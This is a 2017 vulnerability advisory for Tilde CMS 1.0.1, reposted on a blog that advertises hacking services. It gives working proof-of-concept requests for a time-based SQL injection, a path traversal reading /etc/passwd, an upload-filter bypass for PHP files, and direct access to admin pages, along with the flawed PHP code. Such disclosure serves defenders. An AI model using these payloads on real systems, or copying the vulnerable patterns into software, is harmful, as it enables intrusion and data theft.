Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382837

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Tilde CMS 1.01 Multiple Vulnerabilities
# Date: July 7th, 2017
# Exploit Authors: Paolo Forte, Raffaele Forte <raffaele@backbox.org>
# Vendor Homepage: http://www.tildenetwork.com/
# Version: Tilde CMS 1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10


I. INTRODUCTION
========================================================================
Tilde CMS is closed-source content management system created by 
tildenetwork.com


II. DESCRIPTION
========================================================================
The web application suffers of multiple vulnerabilities.

1. SQL Injection
------------------------------------------------------------------------
Due to missing escaping of the backtick character, the following query in 
the source code is vulnerable:

[class.SystemAction.php]

	$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
	$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the
following PoC: 

	POST /actionphp/action.input.php HTTP/1.1

	ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE 
	SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:
	SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table "form_table_1" must be valid.


2. Path Traversal
------------------------------------------------------------------------
The vulnerabilty exists on this method:

	GET /actionphp/download.File.php?&file=../../../../../../etc/passwd


3. Arbitrary Files Upload
------------------------------------------------------------------------
It is possible to bypass the implemented restrictions shown in the 
following snippet of the code:

	$file=$_FILES['file'.$i]['tmp_name'];
	if (($file!="")&&($file!="none")) {
		$source_file=$file;
		$file_name=$_FILES['file'.$i]['name'];
		$file_name=str_replace(".php",".txt",$file_name);
		$file_name=str_replace(" ","_",$file_name);
		$file_name=str_replace("+","",$file_name);

A file named "filename.+php" will be renamed in "filename.php", therefore 
successfully uploaded.


4. Insecure Direct Object References
------------------------------------------------------------------------
It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as: 

	admin/content.php
	admin/content.php?method=ftp_upload


IV. BUSINESS IMPACT
========================================================================
These flaws may compromise the integrity of the system and/or expose 
sensitive information.


V. SYSTEMS AFFECTED
========================================================================
Tilde CMS 1.01 is vulnerable (probably all previous versions)


VI. VULNERABILITY HISTORY
========================================================================
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: Vendor notification


VII. LEGAL NOTICES
========================================================================
The information contained within this advisory is supplied "as-is" with 
no warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuseof this 
information.